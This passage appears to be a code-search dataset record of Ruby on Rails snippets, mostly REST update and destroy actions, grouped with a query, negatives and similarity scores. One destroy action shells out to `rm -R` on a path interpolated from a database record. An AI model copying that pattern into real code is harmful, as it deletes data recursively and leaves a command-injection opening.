path, opts, &block)\n end", "def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end", "def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end", "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end", "def update\n # @recipe = Recipe.find(params[:id])\n #\n update! do |success, failure|\n # success.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n # success.json { head :ok }\n # failure.html { render action: \"edit\" }\n # failure.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end", "def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end", "def patch\n end", "def update\n json_response(@food_item.update!(food_item_params))\n end", "def put!\n request! :put\n end", "def update\n @bubble_tea = BubbleTea.find(params[:id])\n\n if @bubble_tea.update(bubble_tea_params)\n render json: @bubble_tea\n else\n render plain: \"Failed to update drink information\"\n end\n end", "def update\n note = Note.find(params[\"id\"])\n note.update_attributes(note_params)\n respond_with note, json: note\n end", "def update\n put :update\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def update\n @formulary = Formulary.find(params[:id])\n\n respond_to do |format|\n if @formulary.update_attributes(params[:formulary])\n format.html { redirect_to @formulary, notice: 'Formulario actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formulary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end", "def update\n respond_to do |format|\n if @rest_api.update(rest_api_params)\n format.html { redirect_to @rest_api, notice: 'Rest api was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rest_api.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n begin\n recipe = Recipe.find(params[:id])\n\n if recipe.update_attributes(recipe_params)\n render json: { status: 'SUCCESS', message: 'Recipe updated!', data: recipe }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Error updating recipe', data: recipe.errors }, status: :unprocessable_entity\n end\n rescue\n render json: { status: 'ERROR', message: 'Error finding recipe', data: {} }, status: :not_found\n end\n end", "def update(id: nil, body: nil)\n perform(:put, \"#{@resource_type}/#{id}\", body)\n end", "def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couche was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @formulary.update(formulary_params)\n format.html { redirect_to formularies_url, alert: I18n.t('activerecord.models.formulary') + I18n.t('helpers_locale.models.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @formulary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @json.update(json_params)\n format.html { redirect_to @json, notice: 'Json was successfully updated.' }\n format.json { render :show, status: :ok, location: @json }\n else\n format.html { render :edit }\n format.json { render json: @json.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(operation, path, value = nil)\n ensure_client && ensure_uri\n body = {\n 'op' => operation,\n 'path' => path,\n 'value' => value\n }\n response = @client.rest_patch(@data['uri'], { 'Content-Type' => 'application/json-patch+json', 'body' => [body] }, @api_version)\n @client.response_handler(response)\n end", "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @idiom = Idiom.find(params[:id])\n\n respond_to do |format|\n if @idiom.update_attributes(params[:idiom])\n format.html { redirect_to @idiom, notice: 'Idiom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @idiom.errors, status: :unprocessable_entity }\n end\n end\n end", "def contact_updated(freshdesk_data,contact_id)\n\t\t#Rails.logger.info \"Update method id and data\"\n\t\t#Rails.logger.debug \"#{@api_domain}-#{contact_id}-#{@api_key}\"\n\t\t#Rails.logger.debug \"#{freshdesk_data.to_json}\"\n\t response = HTTParty.put(\n\t \"#{@api_domain}contacts/#{contact_id}\", \n\t\t basic_auth: { username: @api_key, password: \"password\" },\n\t\t headers: { 'Content-Type' => 'application/json' },\n\t\t body: freshdesk_data.to_json\n\t )\n\tend", "def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end", "def update\n @icome = Icome.find(params[:id])\n\n respond_to do |format|\n if @icome.update_attributes(params[:icome])\n format.html { redirect_to @icome, notice: 'Icome was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @icome.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end", "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @factoid = Factoid.find(params[:id])\n\n respond_to do |format|\n if @factoid.update_attributes(params[:factoid])\n format.html { redirect_to @factoid, notice: 'Factoid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @factoid.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_radios_for_array(args = {}) \n put(\"/radios.json/#{args[:arrayId]}\", args)\nend", "def update\n params[:recipe][:ingredient_ids] ||= []\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with []\n end", "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @databox.update(databox_params)\n format.html { redirect_to @databox, notice: 'Databox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @databox.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @recipe.allergies.destroy_all\n params[:recipe][:allergy].each do |key,value|\n if value[\"name\"] == \"1\"\n allergy = Allergy.find(key)\n @recipe.allergies << allergy\n end\n end\n\n if params[:recipe][:concentrate] == '1' || params[:recipe][:recipe_category_id] == RecipeCategory.find_by(name: \"Concentrates\").id\n @recipe.concentrate = true\n else\n @recipe.concentrate = false\n end\n\n respond_to do |format|\n if @recipe.update(recipe_params)\n @allergies = Allergy.all\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n @allergies = Allergy.all\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @bottle.update(bottle_params)\n format.html { redirect_to user_path(current_user.id), notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n if @drip.update_attributes(params[:drip])\n format.html { redirect_to @drip, notice: 'Drip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @drip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fascicle.update(fascicle_params)\n format.html { redirect_to @fascicle, notice: 'Fascicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fascicle.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #if you query the Recipe db by the id, and the id is present then...\n if (@single_recipe_to_update = Recipe.find_by_id(params[:id])).present?\n # ... run the recipe_params function within the update function. it takes the input values from recipe_params and\n # updates that information the db\n @single_recipe_to_update.update(recipe_params)\n render :json => {\n :response => \"Successfully updated recipe.\",\n :data => @single_recipe_to_update # return the recipe with updated info\n }\n else\n render :json => {\n :response => \"Cannot find this record.\"\n }\n end\n end", "def update\n respond_to do |format|\n if @couch.update(couch_params)\n format.html { redirect_to @couch, notice: 'Couch was successfully updated.' }\n format.json { render :show, status: :ok, location: @couch }\n else\n format.html { render :edit }\n format.json { render json: @couch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n else\n @person.update person_params\n render json: @person\n end\n end", "def update\n request_body_Data= '{ \"widget\":\n {\n \"name\" : \"'+params[:name]+'\",\n \"description\" : \"'+params[:description]+'\"\n }}'\n response = RestClient::Request.new({\n method: :put,\n url: ENV['API_URL'] + '/widgets/' + params[:id],\n payload: request_body_Data,\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n @widget= Widget.new do |widget|\n widget.id=json[\"data\"][\"widget\"][\"id\"]\n widget.name=json[\"data\"][\"widget\"][\"name\"]\n widget.description=json[\"data\"][\"widget\"][\"description\"]\n widget.kind=json[\"data\"][\"widget\"][\"kind\"]\n widget.userid=json[\"data\"][\"widget\"][\"user\"][\"id\"]\n widget.username=json[\"data\"][\"widget\"][\"user\"][\"name\"]\n widget.owner=json[\"data\"][\"widget\"][\"owner\"]\n end\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n respond_to do |format|\n if @widget\n format.html { redirect_to @widget, notice: 'Widget was successfully updated.' }\n format.json { render :show, status: :ok, location: @widget }\n else\n format.html { render :edit }\n format.json { render json: @widget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t\t@interested = Interested.find(params[:id])\n\n \t\trespond_to do |format|\n \t\t\tif @interested.update_attributes(params[:interested])\n \t\t\tformat.html { redirect_to @interested, notice: 'Interested was sucessfully updated.' }\n \t\t\tformat.json {head :no_content }\n \t\t\telse\n \t\t\t\tformat.html { render action: \"edit\" }\n \t\t\t\tformat.json { render json: @interested.error, status: :unprocessable_entity }\n \t\t\tend\n \t\tend\n \tend", "def update\n @goody = Goody.find(params[:id])\n\n respond_to do |format|\n if @goody.update_attributes(params[:goody])\n format.html { redirect_to @goody, notice: 'Goody was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goody.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.69359714", "0.6742734", "0.6708918", "0.6534313", "0.6261845", "0.62511015", "0.62511015", "0.6245733", "0.6235861", "0.62234163", "0.61826795", "0.61779314", "0.61285806", "0.6122471", "0.6111749", "0.6073099", "0.6063874", "0.6053743", "0.6046176", "0.60269755", "0.601345", "0.601345", "0.600886", "0.5990462", "0.59885144", "0.59815603", "0.5978071", "0.59767604", "0.5972519", "0.59585786", "0.59543836", "0.59493226", "0.59175926", "0.589665", "0.58906764", "0.5878252", "0.5877356", "0.5871415", "0.5870619", "0.5870619", "0.5861677", "0.5859518", "0.5858505", "0.58506733", "0.58506733", "0.5850014", "0.5840748", "0.58230025", "0.5821297", "0.5810673", "0.5810667", "0.58087105", "0.58048874", "0.5782142", "0.5780012", "0.5778219", "0.5773637", "0.5772885", "0.5759341", "0.57584816", "0.57558715", "0.5753145", "0.57505465", "0.5746928", "0.5744816", "0.57395554", "0.5738561", "0.5730197", "0.5729782", "0.5729782", "0.57278466", "0.5713237", "0.5701811", "0.56987053", "0.5697337", "0.5695612", "0.5692542", "0.5684718", "0.56840456", "0.5680062", "0.56794405", "0.56786054", "0.56785685", "0.5676791", "0.5674711", "0.56743973", "0.5674292", "0.56701136", "0.56693524", "0.56674105", "0.5666708", "0.5662774", "0.5662307", "0.56611717", "0.5658643", "0.5656994", "0.5655149", "0.5649361", "0.5645783", "0.56434256", "0.5643218" ]
0.0
-1
DELETE /dairies/1 DELETE /dairies/1.json
def destroy @dairy.destroy respond_to do |format| format.html { redirect_to lk_today_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete\n request(:delete)\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def delete(path)\n request(:delete, path)\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete(path)\n request 'DELETE', path\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete(path, params = {})\n post(path, params.merge(\"_method\" => \"delete\"))\n end", "def destroy\n @jedi = Jedi.find(params[:id])\n @jedi.destroy\n\n respond_to do |format|\n format.html { redirect_to jedis_url }\n format.json { head :no_content }\n end\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def delete!\n request! :delete\n end", "def delete(path)\n\t\trequest(path, :delete)\n\tend", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete(path)\n request(:delete, path)\n end", "def delete(*args)\n request(:delete, *args)\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end", "def destroy\n @drip = Drip.find(params[:id])\n @drip.destroy\n\n respond_to do |format|\n format.html { redirect_to drips_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end", "def destroy\n @riesgo.destroy\n respond_to do |format|\n format.html { redirect_to riesgos_url, notice: 'Riesgo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end", "def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def delete!\n Recliner.delete(uri)\n end", "def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @dairy = Dairy.find(params[:id])\n @dairy.destroy\n\n respond_to do |format|\n format.html { redirect_to(dairies_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete(path, data={})\n request(:delete, path, data)\n end", "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end", "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @diary = Diary.find(params[:id])\n @diary.destroy\n\n respond_to do |format|\n format.html { redirect_to diaries_url }\n format.json { head :no_content }\n end\n end", "def delete(path, params = {})\n request(:delete, path, params)\n end", "def delete(path, params = {})\n request(:delete, path, params)\n end", "def delete(path, params = {})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def delete(path, params={})\n request(:delete, path, params)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end", "def delete(path, params)\n request(:delete, path, {})\n end", "def delete(path, params = {})\n request(:delete, path, params)\n end", "def delete(path, params = {})\n request(:delete, path, params)\n end", "def delete(path)\n make_call(mk_conn(path), :delete)\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete(*rest) end", "def delete!\n connection.delete(\n path: resource_path,\n status: 204\n ).data\n end", "def destroy\n @dapi.destroy\n respond_to do |format|\n format.html { redirect_to dapis_url, notice: 'Dapi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end", "def destroy\n @sabio = Sabio.find(params[:id])\n @sabio.destroy\n\n respond_to do |format|\n format.html { redirect_to sabios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @diet_dish.destroy\n respond_to do |format|\n format.html { redirect_to diet_dishes_url }\n format.json { head :no_content }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def delete\n \n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete(path, params={}, options={})\n request(:delete, api_path(path), params, options)\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def delete\n\n end", "def delete endpoint\n do_request :delete, endpoint\n end" ]
[ "0.73902303", "0.7062767", "0.70251817", "0.69340855", "0.6829894", "0.6825659", "0.68132424", "0.68074733", "0.68074733", "0.68074733", "0.68074733", "0.67813975", "0.6771833", "0.6742372", "0.673572", "0.6735484", "0.67318314", "0.6723947", "0.6712085", "0.6680543", "0.6680543", "0.66756845", "0.6670868", "0.66630197", "0.6659294", "0.6634631", "0.66304314", "0.66205204", "0.66163856", "0.6614687", "0.65985346", "0.6577152", "0.65742487", "0.65650696", "0.6556542", "0.6546993", "0.65451664", "0.6541521", "0.65356827", "0.6533946", "0.65313745", "0.65294", "0.6526541", "0.6526541", "0.6525105", "0.6523214", "0.65221125", "0.6521434", "0.65193164", "0.65150344", "0.65089667", "0.6508687", "0.6505359", "0.6501705", "0.6500402", "0.6500309", "0.64993143", "0.64944583", "0.6491543", "0.6491543", "0.6491543", "0.6488807", "0.6488807", "0.6488807", "0.6488807", "0.6488807", "0.6488807", "0.6488807", "0.64722866", "0.6471719", "0.6466891", "0.6466891", "0.64648294", "0.6463836", "0.6461514", "0.64597094", "0.6458958", "0.6458958", "0.64548635", "0.64456636", "0.64336836", "0.64291024", "0.6427228", "0.6415444", "0.64117336", "0.6411131", "0.64022017", "0.6399714", "0.6388074", "0.6377442", "0.6377141", "0.6375038", "0.63746434", "0.63709205", "0.636845", "0.6368401", "0.63654464", "0.6363162", "0.636296", "0.6362454", "0.63582224" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_dairy @dairy = Dairy.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n 